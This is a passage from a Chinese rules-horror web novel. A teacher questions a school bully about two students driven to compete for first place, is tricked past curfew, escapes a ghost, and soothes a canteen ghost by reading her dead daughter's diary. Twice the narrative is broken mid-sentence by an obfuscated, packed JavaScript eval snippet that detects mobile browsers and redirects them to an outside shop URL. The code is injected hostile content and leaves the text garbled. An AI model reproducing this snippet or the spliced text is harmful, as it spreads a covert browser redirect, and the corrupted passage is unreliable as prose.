他能感觉到死神正向自己缓缓逼近,一股冰冷的杀意逐渐笼罩全身。 就在章磊几乎要放弃的时候,思忖良久的沈笑白终于开了口: “进去之后,你如果敢撒一句谎,我会让你知道什么叫生不如死。” 章磊如获大赦,拼命点头。 沈笑白没再拖延,快速拿出钥匙开锁。门打开的瞬间,章磊就像一支离弦的箭一样冲了进去。 他径直冲向自己的下铺,连滚带爬地翻上去,身体砸在床板上的那一刻发出一声闷响。他死死地趴在床上,心跳如擂鼓,浑身止不住地抖。 手机屏幕:23点30分整。 正正好的时间,差一秒他就要违规了。 沈笑白走进门,看着瘫在床上动弹不得的章磊,心里便有了数,原来学生守则的要求是不能离开床铺。 “缓够了就继续说。”沈笑白站在床边催促道,“什么叫做一个活不了,一个回不去?” 章磊的胸口还在剧烈地起伏着,等他从劫后余生的惊悸中缓过来些,才开口道: “活不了的那个是周旋。” “她是孤儿,后来被一对夫妻领养了,那对夫妻里面那个男的,对周旋严得要死,从小就逼她必须考第一。” “他说当初选她,就是看中她在福利院里成绩好,他绝不要养一个成绩差的废物孩子。” “要是周旋考不好,成不了才,就把她扔出去,让她自己等死,他再去领养个更优秀的孩子。” “所以周旋那个怂包就一直拼了命考第一,生怕哪天真的被扔了,活得像条听话的狗。” “可再听话又有什么用?” 章磊说到这嗤笑一声,“最后那男的还是把她扔了,而且连着他老婆也一起扔了。” “他直接离了婚,孩子归女方养,自己跑去再婚,换了个他眼里完美的老婆孩子。” 沈笑白敏锐地抓住了漏洞:“那领养周旋的那个女人呢?你怎么从头到尾没提过?” 章磊不耐烦地啧了一声:“我又没住她家,哪知道这么细?我就听吴欠说了个大概,有本事你问吴欠去啊。” 他的烦躁是真实的,不像是装的。沈笑白没有在这个方向上继续浪费时间,迅速切换到下一个目标。 “那吴欠呢?”沈笑白追问,“她考不到第一,就回不去哪里?” “还能是哪,她亲生爸妈家啊。” 章磊哼笑一声:“吴欠她爸妈就想生个儿子传宗接代,结果生了这么个女儿,之后就再也生不出来了。家里又穷得叮当响,所以干脆要从她身上捞回本。” “他们本来没打算让她上学的,准备让她出去打零工赚钱,年纪到了再卖出去换彩礼。” “但吴欠死活不肯,硬生生考了很多个第一,拿了一堆奖金和助学金。她爸妈没读过书,一看读书还能拿钱,就让她继续上了。” “但只要吴欠成绩掉下来,拿不到钱,她爸妈立马会让她辍学嫁人。” 章磊轻蔑地笑了笑: “周旋那边好歹是领养的,爹不疼娘不爱也算正常。可吴欠是亲生的,照样没人要,跟养牲口似的,能挣钱就留着,挣不了就宰了卖肉,想想都好笑。” 沈笑白听到这里,已经在脑子里把故事的全貌推出来了。 吴欠和周旋,俩人从小就认识。 一个穷得差点上不了学,一个怕被养父母扔掉,各有各的难处。正因为都苦,才懂对方的苦,她们成了彼此唯一能说上话的好朋友。 但到了初中,她们被分到了同一个班,本该惺惺相惜的两个人就此决裂。 因为第一的那个位置,只能坐上去一个人。 周旋要当第一,是怕被养父母弃养,怕被第二次丢出家门自生自灭。吴欠要当第一,是为了拿到助学金和奖学金,否则就会被辍学,被嫁人,被当成一件商品卖掉。 这两个人的命运,都被紧紧拴在了那个第一上。 非常让人窒息的两个故事。 无论是周旋那种随时会被像垃圾一样抛弃的恐惧,还是吴欠那种被亲生父母明码标价,养肥了就卖掉换钱的绝望,都比沈笑白之前听到的所有故事都烈得多。 这种程度的执念,才是纬主该有的东西。 沈笑白思考片刻后,又问章磊:“那你呢?就算吴欠的书包不是你扔的,平时你也没少欺负她们吧?” “她俩到底哪儿惹你了?为什么被你欺负了从不反抗?” 章磊像听到了什么好笑的话似的,肩膀一耸:“我就欺负了怎么了?欺负她们还要理由?” “我就是瞧不上她俩,全世界的穷鬼我都瞧不上。” 他指了指其他三个蜷缩在床上,大气不敢出的室友:“你问问那三个穷鬼,哪个没被我欺负过?能被我欺负是他们的荣幸,还敢反抗?你问问他们谁敢!” 话音刚落,蜷缩在被子里的三个脑袋齐刷刷地点了几下。 “是、是荣幸。” “章哥说的是,能被章哥欺负是我们的福气……” 章磊扬了扬下巴:“听见了没?这都是他们自愿的。” 沈笑白看着这荒唐的一幕,想起章磊档案上家境那一栏的内容。 父母都是高学历,又住在市中心豪宅,可谓是有钱有势,这就是章磊敢这么横行霸道的底气。 “自愿?”沈笑白轻笑一声,“你要不是个有权有势的富二代,你猜他们还会不会自愿?” 章磊被这句话刺了一下,随即又恢复了那副混不吝的模样。 “我爸妈有钱怎么了?那也是我凭本事投的胎,有本事他们也投胎当富二代去啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530560|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我就是看不惯那些穷鬼一个个都以为读书能翻身的臭德性!整天把知识改变命运挂在嘴边,好像考个第一就能一步登天一样。” “最后还不是上赶着给有钱人打工,到处点头哈腰求工作。好不容易求到了,还要给人当牛做马,天天挨骂看人脸色。” “他们居然还以为靠学习就能翻身?一群异想天开的蠢货!”章磊越说越激动,“现在都什么年代了?寒门再难出贵子他们不知道吗??” 最后一句他几乎是吼出来的:“穷人的命从出生那一刻就定好了,他们注定一辈子待在底层,一辈子给有钱人当狗。然后再生一堆穷孩子,穷孩子再生穷孩子,世世代代延续这条狗命!” 章磊这一通吼完,胸口还在剧烈起伏,像是一口气把憋了多年的话全倒了出来。 沈笑白眯了眯眼道:“我就随口说了一句,你这么激动干什么?” 章磊别过脸去,没好气地回了一句:“你要问的我都说了,你管我激动不激动?我年轻气盛火气大不行啊?你这个老太婆懂个屁!” 老太婆沈笑白:“……” 骂得还挺准的。 章磊这副激动的模样,让沈笑白隐约猜到了一种可能。不过章磊的事对她来说不重要,她也懒得继续打探,当务之急,是搞清楚周旋和吴欠的事。 今晚章磊说的这些故事,表面上逻辑通顺,严丝合缝,但她总觉得有些不对劲,总感觉少了些什么,脑子里所有的线索就是串不到一起。 沈笑白借着窗缝里漏进来的月光,偏头看了眼墙上的挂钟。 23点55分。 离红线时间零点只剩下五分钟了,再问下去,她就赶不回教工宿舍了。 沈笑白朝章磊微微一笑:“今晚辛苦你了,早点睡吧,剩下的我们明天再聊。” “你明天还要来??”章磊一下子慌了,“不是,该说的我都说了!你还想问什么?你到底有完没完?” “问你话呢,你倒是说啊!” 沈笑白压根没功夫搭理对方,一门心思快步走出宿舍往回赶。 寝室门关上的那一刻,章磊那喋喋不休的声音也戛然而止。 刚才那股慌张劲瞬间从他身上褪得干干净净,他整个人往床头一靠,身体松弛下来,一副小人得志,奸计得逞的样子。 章磊这招奸计原本是想用来对付纪燃的,没想过要用在沈笑白身上。 可谁让她今晚一直在拿命逼自己?又是锁门,又是威胁,还卡着23:30的生死线差点让他违规死掉。 章磊窝了一肚子火,在宿舍外的时候不敢发作,一进到宿舍里面,脱离危险了,他开始怒从胆边生。再加上四周黑漆漆的,这氛围给了他一股莫名的自信。 他心想,机会难得,不如赌一把,万一能把沈笑白骗进陷阱里呢? 于是他刚才故意把话说得又慢又碎,就是为了拖时间,把她拖过零点,没想到运气好还真成了。 想到这里,章磊忍不住抬头看了眼墙上的挂钟:23点56分。 这个钟是他特意提前调慢五分钟的,现在真正的时间是。 00点01分。 已经过零点了,那群东西没有了束缚,现在应该全都出来了。 没人能从它们手里活下来,一个都没有,从来没有。 “还想明天再找我聊?”章磊轻笑了一声,“我看你今晚就先去找阎王聊聊吧。” 27. 第Ω(134217728)章^…… 沈笑白在跑回教工宿舍的路上,脑子里也没闲着,快速过了一遍今天调查到的所有信息。 吴欠、周旋、葛鸿雁。 目前调查的所有人里面,只有这三个人的故事最有可能指向纬主。但她们每一个人身上,又都有一块怎么也拼不上的缺口。 葛鸿雁的故事和警示牌规则能对上,却和黑板规则里的成绩毫不相干,吴欠和周旋的故事倒是符合黑板规则,却又和警示牌的规则对不上。 三个人的故事都各缺一半,怎么也凑不齐一个完整的规则世界。 剩下还没查的只有两个人了,程赛男和金英。 说不定那缺失的另一半故事,就在她们俩身上。 明天。 明天一定要想办法查到这两个人的全部信息。 沈笑白把思路收住,加快了脚步。转过弯的瞬间,教工宿舍的玻璃大门已经出现在视野里。 整栋楼都黑透了,熄灯的教工宿舍像一个沉默的巨人,俯身蹲在夜色中,一扇扇黑洞洞的窗户像无数只眼睛,正从上到下地注视着你。 沈笑白跑进大厅,正要往楼梯上冲,脚步却突然钉在了地上,身体本能地往后一缩,退了两步。 楼梯口站着一个人影。 不对,那不是人。 它的四肢干瘦得像枯枝,又细又长,感觉随时会折断,一高一低的肩膀上扛着一个大得不像话的脑袋。 那颗沉重的脑袋正歪歪扭扭地耷拉在脖子上,里面好像塞满了东西,把头皮撑得满满的,像随时会炸开一样。 它的面色灰败惨白,眼窝深深地塌进去,没有眼睛,只有两个黑洞洞的窟窿。 沈笑白心头一紧,立刻扭头查看大厅墙壁上的挂钟。 00点03分。 如坠冰窟。 章磊那个兔崽子居然调慢了宿舍的钟,真是阴沟里翻船了。 来不及多想,沈笑白转身就朝着大门口跑。 但已经晚了。 她的身体像被什么东西从四面八方同时按住,一根手指都抬不起来。 与此同时,楼梯口那个顶着巨大脑袋的人,它两个黑洞洞的眼眶里,忽然亮起了两团暗红色的光。 “不公平……这不公平……” 一个嘶哑含混的低语在沈笑白颅腔里突然炸开。那声音像一把刀,从她的大脑深处往外劈,硬生生把她的意识劈开了一道口子。 紧接着,有什么东西正顺着那道口子,疯狂地往里灌。 是情绪。 是数以万计被压在心底发烂发臭,怎么都排解不掉的情绪。 是明明很累却怎么都睡不着的焦躁。 是明知道不该想了,却怎么也停不下来的自我内耗。 是屡战屡败,屡败屡战,看不到终点在哪的疲惫。 是拼尽全力,却永远都只差那么一点点的无力和绝望。 “我都没考上……你们凭什么……凭什么!” 那声音又响了,沈笑白感觉自己的脑子要被这些浓稠的情绪给撑爆了。 胀痛挤满了整个脑袋,每一寸头皮都已经绷到了极限。她甚至觉得自己听到了头骨开裂的声音,仿佛下一秒就要彻底碎裂一般。 “去死……去死……都给我去死!!” 这一次,沈笑白感觉不到痛了,她甚至连自己都快要感觉不到了。 她分不清哪些是自己的情绪,哪些是被硬塞进来的情绪,所有的边界都在消融,全都混成了一团黏稠又混沌的黑。 她为什么会在这里,她的记忆,她是名字。全都在被那片黑色情绪一点一点地吞掉。 再这样下去,她的意识会被彻底淹没,消失得干干净净。 不行。 这样下去不行。 沈笑白用尽最后一点还能被她称为“自己的意识”的力量,狠狠咬破了舌尖。 舌尖血涌出来的瞬间,灼热的阳气伴着刺痛炸开,在她快要被淹没的意识里炸出了一道口子。 舌为心之苗,心主神明。 这一口舌尖血里藏着全身至阳至烈的正气,专破精神控制。但这一口并不能让她完全挣脱,只能换来短暂的几瞬清醒。 沈笑白几乎在能动的第一时间,手就探到了腰间,毫不犹豫地抽出了纪燃给她的那把宰杀刀,往掌心狠狠一划。 掌心劳宫穴的血涌出来的时候,刀上那层暗沉沉的血污也亮了起来,透出一阵红色的光,滚烫的。 刀上的煞醒了。 这宰杀刀虽然杀生无数,里外都沁透了浊煞之气。但这是死煞,缺活人元气引动,而劳宫穴的血元气最足,刚好能以血引煞,以煞镇阴。 对面的大头人看到这一幕,眼眶里的红光剧烈地闪了一下,五官也跟着扭曲了一瞬。 它本能地后退了半步。 沈笑白却没给它反应的时间,直接握紧刀柄冲了过去,刀刃朝那颗巨大的头颅狠狠劈下去。 刀刃砍中的瞬间,一股刺耳的哀嚎声从大头人体内迸发出来。 沈笑白感觉脑子里那些不断涌入的黑色情绪终于停了下来,那些不属于她的情绪终于被抽离了出去。 精神控制解除了。 沈笑白没有继续进攻,而是抽出刀立刻转身跑出宿舍楼。 这把宰杀刀虽然已经被血喂成了活煞,但也杀不了眼前的大头人,留下来硬拼,最后死的只会是自己。 沈笑白从一开始的目的就只有一个,就是让对方被煞气震慑的那一瞬间松开精神控制。只要控制一解,她就能跑。 现在机会来了。 她一头扎进夜色里,朝着远离教工宿舍的方向狂奔。 沈笑白跑得很快很猛,猛到喉咙里已经泛起一股腥甜的味道,可她一点都不敢慢下来。 因为身后的大头人也追得很紧。 “不公平……这不公平!” 它的声音又在她脑子里炸开了。 她们之间的距离在快速缩短。 那种被情绪疯狂填塞的感觉又回来了,焦躁无力疲惫恨意,全都搅在一起,齐齐攻击着她的意识。 沈笑白侧身一拐,钻进了右手边的一条夹道。那是两栋楼之间的一条很窄的过道,按照大头怪的体型,根本进不来。 她本打算进来暂时躲避一下,但拐进去的瞬间,却意外发现那些情绪突然减弱了一大截,意识清明了不少。 墙体能削弱它的能力。 沈笑白脑子里闪过这个结论的同时,脚下也没停,立刻又从另一头跑了出去。 跑出夹道的瞬间,那些情绪又回来了,像潮水一样瞬间灌满她的颅腔。 不用再验证了。 是介质的问题。 介质能隔绝它的控制。 墙体本身是一种介质,但夹道两头是空的,所以它的控制还能从两端渗进来。要想完全隔绝,必须找一个四面八方都被介质封住的地方,用介质把它挡在外面。 沈笑白一边跑一边扫视四周,现在离她最近的, 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换成其他人看到这个笑容,都会心里一沉,觉得自己这下肯定要完了,但沈笑白却透过玻璃门,盯着那张丑陋的脸,慢慢弯起了嘴角。 因为她发现了意外惊喜。 它不敢过来。 门外那个大头人停在食堂的几米开外,始终没有靠近,它在忌惮着这座食堂。换句话说,这座食堂里藏着能对付它的东西。 她误打误撞闯进来的地方,不是绝路,是生路。 想到这儿,沈笑白嘴角的弧度又大了一点。 “来了就……快找位置坐……” 一道很沉很闷的声音从沈笑白背后传来。说话的人像是被什么裹住了,有些喘不上气,每个字都说得费劲。 “凉了就不好吃了……得趁热吃……趁热吃……” 沈笑白听到这动静,心里反而踏实了几分,她弯着嘴角转过身去。 只见食堂之中坐着一个极其肥胖的巨人。 它的体型比正常人大了整整十倍不止,肥肉层层叠叠地堆在身上,一坨压着一坨,一叠盖过一叠,整个人就像一座隆起的肉山。 那颗脑袋深深陷在厚实的肩膀里,已经看不见脖子了,整个身体也臃肿到看不出人形,就那么沉沉地堆在食堂之中。 虽然那张脸也被横生的肥肉挤得面目全非,但沈笑白还是从那些残存的五官特征中,辨认出了它的身份。 “葛鸿雁。” 她唤了一声。 这一声在空旷的食堂里回荡开来,格外响亮,可葛鸿雁却没有任何没有反应。 她的双眼像是蒙了一层灰白的雾气,空洞洞的,只是自顾自地重复着:“快吃……得趁热吃……趁热……” 沈笑白看着对方那双眸子,知道她现在没有葛鸿雁的自我意识,无法和自己进行正常的交流对话。激怒一个没有意识的鬼怪会有什么后果,她太清楚了。 沈笑白没再多说什么,只是顺着对方的话应了一声: “好啊,我正好饿了,吃的在哪?” 葛鸿雁这次有反应了,她拖着自己那身肉山笨重地往旁边挪了挪,费力且迟缓。 随着她这一挪,身后那片被遮挡得严严实实的食堂区域,终于露出了全貌。 饶是沈笑白早有心理准备,这场景也看得她讶然失语。 28. 第Γ(5.105)章 食堂里整整几百张餐桌,每一张都摆满了食物。米饭堆成山,菜盘摞着菜盘,菜盘上的鸡鸭鱼肉样样齐全,丰盛得像在办一场千人宴席。 可坐在这片铺天盖地的食物中央的食客,却只有五个。 其中三个是学生,他们伏在桌前,正用手抓着饭菜拼命往嘴里塞。 他们的肚子已经被撑得圆滚滚的,像随时会爆开的皮球,可他们还在吃。 “吃不下了……吃不下了……”他们一边吃一边哭。 没有五官的脸上,不知从哪儿涌出的泪水糊了满脸。那些泪水不断滴落,混进食物里,又被他们狼吞虎咽地塞进嘴里。 另外两个是教职工,他们倒在了一旁的地上,已经没了呼吸。 他们的肚皮全都被撑爆了,裂开一个大口子,半消化的食物混着血水从里面缓缓淌出来,在地面上积了黏腻的一摊。 换做常人,看到这种被逼着把自己活活吃到撑死的场景,早就吓得找借口跑了。但沈笑白却面不改色地绕过地上那一摊狼藉,径直走到那三个狼吞虎咽的学生对面,找了个干净的位置坐下。 这副气定神闲的模样,把对面那几个边吃边哭的学生都看愣了一下,一时之间都忘了要往嘴里塞东西。 “你们怎么……停下来了?” 葛鸿雁空洞的双眼看了过来,沉重的嗓音带着回响,从四面八方裹过来。 “是……不想吃了吗?” 其中一个学生打了个哆嗦,立刻又埋下头,拼命往嘴里塞了几口。 另外两个学生则瑟缩着,身体抖得像筛糠。肚子里已经撑得没有一丝空隙,再多吃一口,他们就要和地上躺着的那两具尸体一样了,在死亡面前,他们壮着胆子点了点头: “不、不想吃了,我们实在是吃不下了,不想再吃了……” “求求你了……放我们回去吧!求求你了!” 葛鸿雁脸上横生的肥肉挤了挤,像是在费力地思考一样。过了好半天,她才慢吞吞地挤出一句话来:“要回答问题……才能走……回答问题。” “答答答!我们答!” 两个学生齐刷刷点头,恨不得把脑袋点下来。 “这些东西……好吃……好吃吗?”葛鸿雁说出了她的问题。 “好吃好吃!特别好吃!我从来没吃过这么香的饭!鲜得我舌头都要吞下去了!”两个学生拼命夸着,把这些食物夸得天花乱坠的,只想让对方满意,赶紧放自己离开。 葛鸿雁却忽然安静了下来。 那些夸赞像刀子一样扎进她的意识深处,扎进了那段遥远又破碎不堪的记忆,扎进了她早已扭曲的执念。 然后她开始颤抖。 那堆如山丘般的肥肉剧烈地抖动起来,连带着食堂的墙壁和天花板都在震颤。 “撒谎……又在撒谎……” “你们都在骗我……都在骗我……” 她脸上的肥肉狰狞地拧成一团,看不出是在哭还是在怒,只有一股强烈的痛苦气息,从肉褶子里不断往外渗。 “不准骗我!不准!!” “你们这些骗人的嘴就该封起来!都封起来!!” 话音刚落,她身上的肥肉开始往外渗油,浑浊滚烫的油污从肉褶子里涌出来,直直朝那两个学生扑了过去。 其中一个连叫都没来得及叫出声,就被一股油腻的肉浪裹住,整个往回拖,拖进葛鸿雁的肉山之中,像落入沼泽一样,瞬间没了踪影。 另一个学生直接被吓得魂飞魄散,立马改口:“我答错了答错了!是难吃!非常难吃!一点都不好吃!” 这一改似乎真起了作用,葛鸿雁还真就停住了动作,喃喃地重复了一句:“……难吃?” “难吃、难吃、难吃难吃难吃……” 她不停地重复着,声音越来越急促,越来越焦躁。 忽然,整座肉山再次剧烈地翻涌起来。 “不可以难吃!怎么可以难吃!不可以不可以绝对不可以!!” 那个改口的学生身体开始疯狂鼓胀,他的肚子、四肢、脸,全身上下每一寸都在疯长肥肉。 那些肥肉越堆越多,越堆越厚,一层一层地把他裹住,最后淹没,整个人就像被自己的肉活活吞掉了一样。 不过几秒钟,他就化成了一摊油水,只剩一件空荡荡的校服瘫在地上。 唯一还幸存的那个学生,44号。看到两个同伴惨死的模样,哭得更大声了,一边发抖一边往嘴里塞东西。 他根本不敢停。 停下来就要回答问题,说好吃是死,说难吃也是死。可再这样一直吃下去,他又会像地上那两个人一样,把自己活活撑死。 吃也死,不吃也死,怎么选都是死。 他正绝望地往自己嘴里塞着食物,对面那个一直沉默不语的老师突然开口了,吓得他差点把嘴里的饭菜全吐了出来。 “葛鸿雁,你怎么不问问我?” 沈笑白似笑非笑看着对方,“是对我有意见,还是瞧不上我?” 这一问不止44号学生惊呆了,连葛鸿雁也是一怔,她还是第一次遇到有人主动要求她问问题的。但还没等她开口,沈笑白已经给出了她的回答。 “难吃,非常难吃。” “建议你别烧饭了,真的非常难吃。” 这话给44号学生瞬间吓得脸色煞白:“你疯了?!她现在已经够生气了,你还故意激她,她会直接把咱俩都弄死的!” 他说的没错。 葛鸿雁在听到难吃这两个字的时候,几乎是立刻暴怒。她浑身的肥肉疯狂翻涌,无数黏腻的油污从中窜涌而出,裹着沉甸甸的怒气,朝餐桌前的两人劈头盖脸地扑了过去。 44号学生吓得根本不敢看,整个人蜷缩起来死死低下头,颤抖着闭着眼睛等死。 而沈笑白却连一下躲闪都没有,她迎着即将扑到面前的油污,开口道: “觉得你烧饭难吃的不是我。” “是你的女儿。” “素秋。” 这个名字落进空气里的瞬间,扑面而来的油污骤然悬停在半空,四周的一切都像是被按下了暂停键。 葛鸿雁眼里的雾气散开了些,透出些微弱的光。 沈笑白看着那双逐渐清明的眼睛,一字一句道:“你忘了素秋吗?忘了那个你拼了命也要从山里带出来的女儿?你怎么可以忘了她?” “女……儿?” 葛鸿雁像是想起来了什么,停在半空中的油污随之剧烈一颤。 沈笑白继续说道:“你拼了命想给她开路,可路还没开完,你就先走了,留下她一个十岁孩子孤苦伶仃。这些,你都忘了吗?” 半空中的油污开始往下坠落,一滴一滴,像眼泪一样砸在地上。 “素秋……我的素秋……我居然忘了她……” 葛鸿雁的肉身开始颤抖,沉重的嗓音里也有了哭腔。 “我怎么能忘了我的素秋……怎么能……我该死……” 沈笑白看着她,声音忽然轻了下来: “想起来就好。” “想起来就别哭了,看看她吧。” “她来了,葛鸿雁。” “她就在这里。” 葛鸿雁的哭泣骤然停了,她忽地抬起头,难以置信地看向沈笑白。 “我帮你把素秋带来了。”沈笑白柔声道。 她从怀里缓缓抽出一本已经破旧不堪的日记本,翻到了最后几页,走上前,举到葛鸿雁面前。 最后几页日记上写满了清秀工整的字,那是素秋十年前在303宿舍小住时写下的。 三月十日 今天终于搬进了妈妈的宿舍了,开心! 跟学校磨了好久,她们总算答应让我住进来了。还翻到一本日记,原来妈妈喜欢写日记呀,那我也要写,就写在妈妈后面,不知道你能不能看到? 三月十五日 妈,我点了一下你的东西都在,一件没少哎,开心! 虽然乱糟糟的都是灰,学校也不知道帮忙收拾一下,我整整理了两天才弄干净,累死我啦。 现在这个宿舍和小时候一模一样,看起来你好像只是出门买菜了,一会儿就能回来。不过你烧的饭真的很难吃噢,下次还是我来吧哈哈。 四月一日 好消息好消息,妈!我找到兼职啦,就在你以前工作的食堂! 虽然现在只能在后厨切切菜,但我已经学会了好几个切菜的花样,师傅还夸我有天赋,说我手挺巧的。 嘿嘿,开心。 五月十日 妈,原来在后厨站一天腰会这么痛啊,像被人拿棍子敲了八百遍。但是今天发工资了哟,拿到钱的时候突然觉得腰也不疼了,开心开心! 我现在也能赚钱了,我厉不厉害? 六月三日 妈,今天又发工资啦!开心!我现在过得特别好,你在那儿千万别担心我,我以后一定会越来越好的…… (划掉) ……对不起妈。 我骗你的,我装不下去了。 我过的不好,一点都不好。 你走以后,学校赔了一笔抚恤金补偿给我,说是当生活费,但全都被爸抢走了,他把我直接丢进了福利院,再也没来看过我。 后来有人收养我,我以为我终于有家了,可那户人家生了自己的孩子,又把我丢了。我过了被收养的年纪,再也没有人要我了。 我开始一边打工一边供自己读书,洗碗、发传单、便利店,什么活都干过,晚上回来还要通宵看书。 但这些我都能忍。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537368|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我最不能接受的是,我发现自己快记不清你的样子了。 我想了很久,很用力地想,可你的脸还是越来越模糊。 妈,我好害怕,我不能忘记你。 所以我来了这里,来你住过的宿舍,来你工作过的食堂,过你以前的生活。 我想,离你近一点,这样是不是就不会忘记你了? 六月二十日 站了一天的腰,真的好酸,好沉啊。 切到发麻的手指,真的好僵,好疼啊。 一天都没干过的工服,真的好湿,好臭啊。 妈,你以前就是这样一天天咬牙熬过来的吗? 妈,我真的很想你。 可我不敢停下来,停下来就会想你,想你就想哭,哭了明天就起不来了上班了。 七月十日 妈,我真的好累啊。 不是干活累,是活着真累,活着怎么会这么累啊。 我记得你以前总说,日子会一天天好起来的,可到底是哪一天?你能不能告诉我?到底是哪一天才会好起来? 我受不了了,我实在是撑不住了。 妈,我想去找你了。 七月十一日 妈,你是不是看到我日记了?昨晚我梦到你了,你和我说是明天,等到了明天日子就会好起来了。 好,你说的我都信。 那我就再等一天,就再等最后一天。 七月十二日 妈,今天日子也没有变好。 而且食堂的张婶非说我欠她一块钱,让我明天还。我说我现在就还给你,她偏不要,非要我明天还,她这个人怎么这么奇怪啊? 那好吧,那就再等一天,等明天还了张婶的钱再说。 七月十三日 便利店王姐说缺人手,让我晚点再辞职,还给我连着排了一周的班。我每天到宿舍都困得不行,一沾床就睡着了。 那好吧,那就再等等,等王姐招到新人再说。 七月三十日 今天宿舍门口来了一条流浪狗,瘸着腿走不动路,每天都蹲在门口等我喂它,怪可怜的。 那好吧,那就再等等,等它病好了能自己找吃的再说。 八月二十日 妈,我等到了! 我终于等到了!你说的对,日子真的会变好的! 我拿到全省最好的大学的录取通知书了,而且我申请的助学金也批下来了,全额覆盖,不用自己出钱就能上学,每个月还有生活补助! 妈,我真的等到了! 九月十五日 妈,开学有一阵子了,学校特别好,比我想象中还要好!同学也好,食堂阿姨知道我没什么钱,总悄悄多给我打菜。 我还找到了一份实习,是一家很优秀的公司,工资超高,而且老板说等我毕业了可以直接留下来转正。 妈,我能在这座城市扎根了,我走出大山了,你看到了吗? 十月三十日 妈,今天是我最后一天待在你的宿舍里了,学校不让我继续住下去了。 我会把你的东西一件一件收好,全部带走,就像你一直陪在我身边一样。 对了,还有个好消息要告诉你,今天我去改名字了,从今天起我就不叫素秋了。我跟你的姓,姓葛,叫葛自悠。 是独凭己力破千缚,心随万里自悠悠的意思。我写在这里告诉你,你能看得到吗? …… “能……妈看到了……看到了……” 葛鸿雁颤着手拿过日记本,将它紧紧贴在胸口,像抱着一件比命还珍贵的宝物一样。她整个人蜷缩成一大团,泪水止不住地往下淌。 “怎么会这样……我的素秋……怎么会过得这么苦……” “是妈不好……是妈对不起你……妈不该扔下你一个人……” “辛苦你了素秋……妈对不起你……辛苦你了……” “妈在……妈在这里……妈不走了……” 葛鸿雁一遍遍地重复着这些话,哭的也越来越大,越来越撕心裂肺。 那些堆积在她身上的肥肉也开始一点一点地收缩。 她的体型在变小,从常人的十倍缩到了三四倍。她不再是一座畸形的肉山,而是一个壮实的妇人,但她的身躯依旧很大,依旧像一堵厚实的高墙。 不够。 还不够。 还差一点。 沈笑白蹙眉片刻,走上前轻轻拍了拍她:“葛鸿雁,你是不是还忘了一样东西?” 葛鸿雁却只是一个劲地哭,整个人沉浸在愧疚和悲伤之中,根本顾不上回答。 沈笑白也不再多说,直接从口袋里拿出一样东西,举到她面前: “你每晚都去撞303的房门,是想要找这个吧?”